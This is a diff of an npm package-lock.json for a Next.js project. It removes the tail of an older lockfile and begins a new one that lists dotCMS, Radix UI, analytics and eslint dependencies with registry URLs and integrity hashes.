- "has-tostringtag": "^1.0.2",
- "is-async-function": "^2.0.0",
- "is-date-object": "^1.1.0",
- "is-finalizationregistry": "^1.1.0",
- "is-generator-function": "^1.0.10",
- "is-regex": "^1.2.1",
- "is-weakref": "^1.0.2",
- "isarray": "^2.0.5",
- "which-boxed-primitive": "^1.1.0",
- "which-collection": "^1.0.2",
- "which-typed-array": "^1.1.16"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/which-collection": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz",
- "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==",
- "dependencies": {
- "is-map": "^2.0.3",
- "is-set": "^2.0.3",
- "is-weakmap": "^2.0.2",
- "is-weakset": "^2.0.3"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/which-typed-array": {
- "version": "1.1.16",
- "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.16.tgz",
- "integrity": "sha512-g+N+GAWiRj66DngFwHvISJd+ITsyphZvD1vChfVg6cEdnzy53GzB3oy0fUNlvhz7H7+MiqhYr26qxQShCpKTTQ==",
- "dependencies": {
- "available-typed-arrays": "^1.0.7",
- "call-bind": "^1.0.7",
- "for-each": "^0.3.3",
- "gopd": "^1.0.1",
- "has-tostringtag": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/window-size": {
- "version": "0.1.4",
- "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.4.tgz",
- "integrity": "sha512-2thx4pB0cV3h+Bw7QmMXcEbdmOzv9t0HFplJH/Lz6yu60hXYy5RT8rUu+wlIreVxWsGN20mo+MHeCSfUpQBwPw==",
- "bin": {
- "window-size": "cli.js"
- },
- "engines": {
- "node": ">= 0.10.0"
- }
- },
- "node_modules/word-wrap": {
- "version": "1.2.5",
- "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz",
- "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/wrap-ansi": {
- "version": "8.1.0",
- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz",
- "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==",
- "dependencies": {
- "ansi-styles": "^6.1.0",
- "string-width": "^5.0.1",
- "strip-ansi": "^7.0.1"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
- }
- },
- "node_modules/wrap-ansi-cjs": {
- "name": "wrap-ansi",
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
- "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
- "dependencies": {
- "ansi-styles": "^4.0.0",
- "string-width": "^4.1.0",
- "strip-ansi": "^6.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
- }
- },
- "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": {
- "version": "8.0.0",
- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
- "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
- },
- "node_modules/wrap-ansi-cjs/node_modules/string-width": {
- "version": "4.2.3",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
- "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
- "dependencies": {
- "emoji-regex": "^8.0.0",
- "is-fullwidth-code-point": "^3.0.0",
- "strip-ansi": "^6.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/wrap-ansi/node_modules/ansi-regex": {
- "version": "6.1.0",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
- "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-regex?sponsor=1"
- }
- },
- "node_modules/wrap-ansi/node_modules/ansi-styles": {
- "version": "6.2.1",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
- "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/wrap-ansi/node_modules/strip-ansi": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
- "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
- "dependencies": {
- "ansi-regex": "^6.0.1"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/strip-ansi?sponsor=1"
- }
- },
- "node_modules/wrappy": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
- "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="
- },
- "node_modules/xml": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz",
- "integrity": "sha512-huCv9IH9Tcf95zuYCsQraZtWnJvBtLVE0QHMOs8bWyZAFZNDcYjsPq1nEx8jKA9y+Beo9v+7OBPRisQTjinQMw==",
- "license": "MIT"
- },
- "node_modules/xml-but-prettier": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/xml-but-prettier/-/xml-but-prettier-1.0.1.tgz",
- "integrity": "sha512-C2CJaadHrZTqESlH03WOyw0oZTtoy2uEg6dSDF6YRg+9GnYNub53RRemLpnvtbHDFelxMx4LajiFsYeR6XJHgQ==",
- "license": "MIT",
- "dependencies": {
- "repeat-string": "^1.5.2"
- }
- },
- "node_modules/xtend": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
- "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
- "engines": {
- "node": ">=0.4"
- }
- },
- "node_modules/y18n": {
- "version": "3.2.2",
- "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.2.tgz",
- "integrity": "sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ=="
- },
- "node_modules/yaml": {
- "version": "2.6.1",
- "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.6.1.tgz",
- "integrity": "sha512-7r0XPzioN/Q9kXBro/XPnA6kznR73DHq+GXh5ON7ZozRO6aMjbmiBuKste2wslTFkC5d1dw0GooOCepZXJ2SAg==",
- "bin": {
- "yaml": "bin.mjs"
- },
- "engines": {
- "node": ">= 14"
- }
- },
- "node_modules/yargs": {
- "version": "3.31.0",
- "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.31.0.tgz",
- "integrity": "sha512-TLuUCIe8M6YGNZhkEl6+zBxNrWBQDQZyvEC6PlDjcIgd8lJyXz7u8x/SnE146Dg3V25XF3hMcufAS5YMOYMccQ==",
- "dependencies": {
- "camelcase": "^2.0.1",
- "cliui": "^3.0.3",
- "decamelize": "^1.1.1",
- "os-locale": "^1.4.0",
- "string-width": "^1.0.1",
- "window-size": "^0.1.4",
- "y18n": "^3.2.0"
- }
- },
- "node_modules/yargs/node_modules/ansi-regex": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
- "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/yargs/node_modules/is-fullwidth-code-point": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
- "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==",
- "dependencies": {
- "number-is-nan": "^1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/yargs/node_modules/string-width": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
- "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==",
- "dependencies": {
- "code-point-at": "^1.0.0",
- "is-fullwidth-code-point": "^1.0.0",
- "strip-ansi": "^3.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/yargs/node_modules/strip-ansi": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
- "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
- "dependencies": {
- "ansi-regex": "^2.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/yocto-queue": {
- "version": "0.1.0",
- "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
- "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/zenscroll": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/zenscroll/-/zenscroll-4.0.2.tgz",
- "integrity": "sha512-jEA1znR7b4C/NnaycInCU6h/d15ZzCd1jmsruqOKnZP6WXQSMH3W2GL+OXbkruslU4h+Tzuos0HdswzRUk/Vgg==",
- "license": "Unlicense"
- },
- "node_modules/zod": {
- "version": "3.24.1",
- "resolved": "https://registry.npmjs.org/zod/-/zod-3.24.1.tgz",
- "integrity": "sha512-muH7gBL9sI1nciMZV67X5fTKKBLtwpZ5VBp1vsOQzj1MhrBZ4wlVCm3gedKZWLp0Oyel8sIGfeiz54Su+OVT+A==",
- "funding": {
- "url": "https://github.com/sponsors/colinhacks"
- }
- },
- "node_modules/zwitch": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz",
- "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- }
- }
-}
+{
+ "name": "nextjs",
+ "version": "0.1.0",
+ "lockfileVersion": 3,
+ "requires": true,
+ "packages": {
+ "": {
+ "name": "nextjs",
+ "version": "0.1.0",
+ "dependencies": {
+ "@dotcms/analytics": "1.1.1-next.6",
+ "@dotcms/client": "latest",
+ "@dotcms/react": "latest",
+ "@dotcms/types": "^1.2.3",
+ "@hookform/resolvers": "^3.9.0",
+ "@mdx-js/mdx": "^3.1.0",
+ "@microsoft/clarity": "^1.0.0",
+ "@next/third-parties": "^15.1.7",
+ "@radix-ui/react-accordion": "^1.2.0",
+ "@radix-ui/react-alert-dialog": "^1.1.1",
+ "@radix-ui/react-aspect-ratio": "^1.1.0",
+ "@radix-ui/react-avatar": "^1.1.0",
+ "@radix-ui/react-checkbox": "^1.1.1",
+ "@radix-ui/react-collapsible": "^1.1.0",
+ "@radix-ui/react-context-menu": "^2.2.1",
+ "@radix-ui/react-dialog": "^1.1.1",
+ "@radix-ui/react-dropdown-menu": "^2.1.1",
+ "@radix-ui/react-hover-card": "^1.1.1",
+ "@radix-ui/react-label": "^2.1.0",
+ "@radix-ui/react-menubar": "^1.1.1",
+ "@radix-ui/react-navigation-menu": "^1.2.0",
+ "@radix-ui/react-popover": "^1.1.1",
+ "@radix-ui/react-progress": "^1.1.0",
+ "@radix-ui/react-radio-group": "^1.2.0",
+ "@radix-ui/react-scroll-area": "^1.1.0",
+ "@radix-ui/react-select": "^2.1.1",
+ "@radix-ui/react-separator": "^1.1.0",
+ "@radix-ui/react-slider": "^1.2.0",
+ "@radix-ui/react-slot": "^1.1.0",
+ "@radix-ui/react-switch": "^1.1.0",
+ "@radix-ui/react-tabs": "^1.1.0",
+ "@radix-ui/react-toast": "^1.2.1",
+ "@radix-ui/react-toggle": "^1.1.0",
+ "@radix-ui/react-toggle-group": "^1.1.0",
+ "@radix-ui/react-tooltip": "^1.1.2",
+ "@types/node": "^20.11.0",
+ "@types/react": "^18.2.48",
+ "@types/react-dom": "^18.2.18",
+ "@types/react-syntax-highlighter": "^15.5.13",
+ "@vercel/speed-insights": "^1.2.0",
+ "autoprefixer": "^10.4.17",
+ "axios": "^1.10.0",
+ "class-variance-authority": "^0.7.0",
+ "clsx": "^2.1.1",
+ "cmdk": "^1.0.0",
+ "date-fns": "^3.6.0",
+ "embla-carousel-react": "^8.3.0",
+ "eslint": "8.49.0",
+ "eslint-config-next": "13.5.1",
+ "html-entities": "^2.5.2",
+ "input-otp": "^1.2.4",
+ "lucide-react": "^0.446.0",
+ "mdx": "^0.2.3",
+ "next": "^15.2.6",
+ "next-themes": "^0.3.0",
+ "node-cache": "^5.1.2",
+ "postcss": "^8.4.33",
+ "react": "^18.2.0",
+ "react-day-picker": "^8.10.1",
+ "react-dom": "^18.2.0",
+ "react-hook-form": "^7.53.0",
+ "react-markdown": "^9.0.3",
+ "react-resizable-panels": "^2.1.3",
+ "react-syntax-highlighter": "^16.1.0",
+ "recharts": "^2.12.7",
+ "rehype-autolink-headings": "^7.1.0",
+ "rehype-raw": "^7.0.0",
+ "rehype-slug": "^6.0.0",
+ "remark-gfm": "^4.0.0",
+ "remark-parse": "^11.0.0",
+ "sonner": "^1.5.0",
+ "swagger-ui-react": "^5.18.3",
+ "tailwind-merge": "^2.5.2",
+ "tailwindcss": "^3.4.1",
+ "typescript": "^5.3.3",
+ "unified": "^11.0.5",
+ "vaul": "^0.9.9",
+ "zod": "^3.23.8"
+ },
+ "devDependencies": {
+ "@tailwindcss/typography": "^0.5.16",
+ "@types/swagger-ui-react": "^5.18.0",
+ "@typescript-eslint/eslint-plugin": "^6.0.0",
+ "@typescript-eslint/parser": "^6.0.0",
+ "eslint-config-prettier": "^10.0.1",
+ "eslint-plugin-jsx-a11y": "^6.8.0",
+ "eslint-plugin-react": "^7.33.2",
+ "eslint-plugin-react-hooks": "^4.6.0",
+ "sass": "^1.83.4",
+ "tailwindcss-animate": "^1.0.7"
+ }
+ },
+ "node_modules/@alloc/quick-lru": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz",
+ "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==",
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/@analytics/cookie-utils": {
+ "version": "0.2.14",
+ "resolved": "https://registry.npmjs.org/@analytics/cookie-utils/-/cookie-utils-0.2.14.tgz",
+ "integrity": "sha512-x51x2cLqvP5Fb1ydgNvTCX+SVv0ALK/yTNwp/53++yk4kLhxb850krWtQ4aASN0612oXrIGotwfmdJIttnLiPQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@analytics/global-storage-utils": "^0.1.9"
+ }
+ },
+ "node_modules/@analytics/core": {
+ "version": "0.13.2",
+ "resolved": "https://registry.npmjs.org/@analytics/core/-/core-0.13.2.tgz",
+ "integrity": "sha512-ejvfoPP8TEh2hA2szMEq9c4TdeX8FAeY1j/7MxJVZjzDaq8BDHOyaAAQzTFiLMHvV0WcU2YC0smJ5Ids5Ll5ng==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/davidwells"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "@analytics/global-storage-utils": "^0.1.9",
+ "@analytics/type-utils": "^0.6.4",
+ "analytics-utils": "^1.1.1"
+ }
+ },
+ "node_modules/@analytics/global-storage-utils": {
+ "version": "0.1.9",
+ "resolved": "https://registry.npmjs.org/@analytics/global-storage-utils/-/global-storage-utils-0.1.9.tgz",
+ "integrity": "sha512-+xm6CDnWsVOQIKkqbPRPRdYDXKk3PNgr/bCZWSI+7tEDT5PCDgI0QSBZe+FqCVkCRtTkgOrjFOY7wOM8Gq+ndA==",
+ "license": "MIT",
+ "dependencies": {
+ "@analytics/type-utils": "^0.6.4"
+ }
+ },
+ "node_modules/@analytics/localstorage-utils": {
+ "version": "0.1.12",
+ "resolved": "https://registry.npmjs.org/@analytics/localstorage-utils/-/localstorage-utils-0.1.12.tgz",
+ "integrity": "sha512-BL3vuZUwWgMqdkQsE0GKsED5SPLC6daI4K4LE0a/BkKv+4Cae5JLLqpO5gju2HUGOjJxIvw8U/G5EcglNY5+1w==",
+ "license": "MIT",
+ "dependencies": {
+ "@analytics/global-storage-utils": "^0.1.9"
+ }
+ },
+ "node_modules/@analytics/queue-utils": {
+ "version": "0.1.3",
+ "resolved": "https://registry.npmjs.org/@analytics/queue-utils/-/queue-utils-0.1.3.tgz",
+ "integrity": "sha512-W3nrt7vZDsR0Dzpte2o44myMfNAdHJVc8xVLwEdFFMTUB7/tKauM7GAWv07GjG6v3YEfNMab7l1UAEIFA/0FqA==",
+ "license": "MIT"
+ },
+ "node_modules/@analytics/session-storage-utils": {
+ "version": "0.0.9",
+ "resolved": "https://registry.npmjs.org/@analytics/session-storage-utils/-/session-storage-utils-0.0.9.tgz",
+ "integrity": "sha512-fhP9QCpyq45rZKsXaAxyz+VTmOUWljIW08CWSkFzpwOHkDM4Xy5tymc1YcWqSBBaLjHldo3HlY4qfqEIS4Aj1A==",
+ "license": "MIT",
+ "dependencies": {
+ "@analytics/global-storage-utils": "^0.1.9"
+ }
+ },
+ "node_modules/@analytics/storage-utils": {
+ "version": "0.4.4",
+ "resolved": "https://registry.npmjs.org/@analytics/storage-utils/-/storage-utils-0.4.4.tgz",
+ "integrity": "sha512-873P4wDIunbOnBqADc2AhTVsLbluUv1dP6k9UrK8FIeV8WXv5+fG12HdwwaniUIxq6QLgZJfKEaCwtWSKrrV0g==",
+ "license": "MIT",
+ "dependencies": {
+ "@analytics/cookie-utils": "^0.2.14",
+ "@analytics/global-storage-utils": "^0.1.9",
+ "@analytics/localstorage-utils": "^0.1.12",
+ "@analytics/session-storage-utils": "^0.0.9",
+ "@analytics/type-utils": "^0.6.4"
+ }
+ },
+ "node_modules/@analytics/type-utils": {
+ "version": "0.6.4",
+ "resolved": "https://registry.npmjs.org/@analytics/type-utils/-/type-utils-0.6.4.tgz",
+ "integrity": "sha512-Ou1gQxFakOWLcPnbFVsrPb8g1wLLUZYYJXDPjHkG07+5mustGs5yqACx42UAu4A6NszNN6Z5gGxhyH45zPWRxw==",
+ "license": "MIT"
+ },
+ "node_modules/@babel/runtime": {
+ "version": "7.28.4",
+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.28.4.tgz",
+ "integrity": "sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/runtime-corejs3": {
+ "version": "7.28.4",
+ "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.28.4.tgz",
+ "integrity": "sha512-h7iEYiW4HebClDEhtvFObtPmIvrd1SSfpI9EhOeKk4CtIK/ngBWFpuhCzhdmRKtg71ylcue+9I6dv54XYO1epQ==",
+ "license": "MIT",
+ "dependencies": {
+ "core-js-pure": "^3.43.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@dotcms/analytics": {
+ "version": "1.1.1-next.6",
+ "resolved": "https://registry.npmjs.org/@dotcms/analytics/-/analytics-1.1.1-next.6.tgz",
+ "integrity": "sha512-MvmP+YOqJHal6IInt24HcaYnH0YIy4L3oPqxD2GHG7ZaKRU9j5OaHpg8mPoiXpwqTLwmAikKBBmkhovXicGw+Q==",
+ "license": "MIT",
+ "dependencies": {
+ "@analytics/core": "^0.13.0",
+ "@analytics/queue-utils": "^0.1.3",
+ "@analytics/storage-utils": "^0.4.0",
+ "@dotcms/uve": "latest",
+ "analytics": "^0.8.0"
+ },
+ "peerDependencies": {
+ "react": "^18 || ^19"
+ }
+ },
+ "node_modules/@dotcms/client": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/@dotcms/client/-/client-1.2.3.tgz",
+ "integrity": "sha512-GQ1gjDLrTTqv/3Wbmibh6xRbKlgGfkGaHV5mh/JXGl/ncfc4YbfhIShNJM2Yo713LImuRb2rE4mNlhWNjRw2Yg==",
+ "license": "MIT",
+ "dependencies": {
+ "consola": "^3.4.2"
+ }
+ },
+ "node_modules/@dotcms/react": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/@dotcms/react/-/react-1.2.3.tgz",
+ "integrity": "sha512-F9tCrNFVYqGoGQTF1rACSqJXwwXOhSjNODzF62dIlhiJ2+YB3WqQzF95kuJtC0YpzsngKbkQXC4KSBaZgEooHw==",
+ "license": "MIT",
+ "dependencies": {
+ "@dotcms/client": "latest",
+ "@dotcms/uve": "latest",
+ "@tinymce/tinymce-react": "6.2.1"
+ },
+ "peerDependencies": {
+ "react": ">=18",
+ "react-dom": ">=18"
+ }
+ },
+ "node_modules/@dotcms/types": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/@dotcms/types/-/types-1.2.3.tgz",
+ "integrity": "sha512-wBGO4jp2MLM/5UlIIh3lXAS9Gf4T7Qi0TJgTLJkeezYzkcBIT0xkAb5NhikWrFaTmjQKHfYuztBQzk6DAP1QNA=="
+ },
+ "node_modules/@dotcms/uve": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/@dotcms/uve/-/uve-1.2.3.tgz",
+ "integrity": "sha512-whxU15ZLxpaAmBXkR6yhrI8Sa5pmtqIW8m9J450yieQujdHxOSFEeD1iuTYmEjYGwos3HV99wRmcTlePbGSNPg==",
+ "license": "MIT"
+ },
+ "node_modules/@emnapi/runtime": {
+ "version": "1.7.1",
+ "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.7.1.tgz",
+ "integrity": "sha512-PVtJr5CmLwYAU9PZDMITZoR5iAOShYREoR45EyyLrbntV50mdePTgUn4AmOw90Ifcj+x2kRjdzr1HP3RrNiHGA==",
+ "license": "MIT",
+ "optional": true,
+ "dependencies": {
+ "tslib": "^2.4.0"
+ }
+ },
+ "node_modules/@eslint-community/eslint-utils": {
+ "version": "4.4.1",
+ "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.4.1.tgz",
+ "integrity": "sha512-s3O3waFUrMV8P/XaF/+ZTp1X9XBZW1a4B97ZnjQF2KYWaFD2A8KyFBsrsfSjEmjn3RGWAIuvlneuZm3CUK3jbA==",
+ "dependencies": {
+ "eslint-visitor-keys": "^3.4.3"
+ },
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/eslint"
+ },
+ "peerDependencies": {
+ "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0"
+ }
+ },
+ "node_modules/@eslint-community/regexpp": {
+ "version": "4.12.1",
+ "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.1.tgz",
+ "integrity": "sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==",
+ "engines": {
+ "node": "^12.0.0 || ^14.0.0 || >=16.0.0"
+ }
+ },
+ "node_modules/@eslint/eslintrc": {
+ "version": "2.1.4",
+ "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.4.tgz",
+ "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==",
+ "dependencies": {
+ "ajv": "^6.12.4",
+ "debug": "^4.3.2",
+ "espree": "^9.6.0",
+ "globals": "^13.19.0",
+ "ignore": "^5.2.0",
+ "import-fresh": "^3.2.1",
+ "js-yaml": "^4.1.0",
+ "minimatch": "^3.1.2",
+ "strip-json-comments": "^3.1.1"
+ },
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/eslint"
+ }
+ },
+ "node_modules/@eslint/js": {
+ "version": "8.49.0",
+ "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.49.0.tgz",
+ "integrity": "sha512-1S8uAY/MTJqVx0SC4epBq+N2yhuwtNwLbJYNZyhL2pO1ZVKn5HFXav5T41Ryzy9K9V7ZId2JB2oy/W4aCd9/2w==",
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ }
+ },
+ "node_modules/@floating-ui/core": {
+ "version": "1.6.8",
+ "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.6.8.tgz",
+ "integrity": "sha512-7XJ9cPU+yI2QeLS+FCSlqNFZJq8arvswefkZrYI1yQBbftw6FyrZOxYSh+9S7z7TpeWlRt9zJ5IhM1WIL334jA==",
+ "dependencies": {
+ "@floating-ui/utils": "^0.2.8"
+ }
+ },
+ "node_modules/@floating-ui/dom": {
+ "version": "1.6.12",
+ "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.6.12.tgz",
+ "integrity": "sha512-NP83c0HjokcGVEMeoStg317VD9W7eDlGK7457dMBANbKA6GJZdc7rjujdgqzTaz93jkGgc5P/jeWbaCHnMNc+w==",
+ "dependencies": {
+ "@floating-ui/core": "^1.6.0",
+ "@floating-ui/utils": "^0.2.8"
+ }
+ },
+ "node_modules/@floating-ui/react-dom": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.2.tgz",
+ "integrity": "sha512-06okr5cgPzMNBy+Ycse2A6udMi4bqwW/zgBF/rwjcNqWkyr82Mcg8b0vjX8OJpZFy/FKjJmw6wV7t44kK6kW7A==",
+ "dependencies": {
+ "@floating-ui/dom": "^1.0.0"
+ },
+ "peerDependencies": {
+ "react": ">=16.8.0",
+ "react-dom": ">=16.8.0"
+ }
+ },
+ "node_modules/@floating-ui/utils": {
+ "version": "0.2.8",
+ "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.8.tgz",
+ "integrity": "sha512-kym7SodPp8/wloecOpcmSnWJsK7M0E5Wg8UcFA+uO4B9s5d0ywXOEro/8HM9x0rW+TljRzul/14UYz3TleT3ig=="
+ },
+ "node_modules/@hookform/resolvers": {
+ "version": "3.9.1",
+ "resolved": "https://registry.npmjs.org/@hookform/resolvers/-/resolvers-3.9.1.tgz",
+ "integrity": "sha512-ud2HqmGBM0P0IABqoskKWI6PEf6ZDDBZkFqe2Vnl+mTHCEHzr3ISjjZyCwTjC/qpL25JC9aIDkloQejvMeq0ug==",
+ "peerDependencies": {
+ "react-hook-form": "^7.0.0"
+ }
+ },
+ "node_modules/@humanwhocodes/config-array": {
+ "version": "0.11.14",
+ "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.14.tgz",
+ "integrity": "sha512-3T8LkOmg45BV5FICb15QQMsyUSWrQ8AygVfC7ZG32zOalnqrilm018ZVCw0eapXux8FtA33q8PSRSstjee3jSg==",
+ "deprecated": "Use @eslint/config-array instead",
+ "dependencies": {
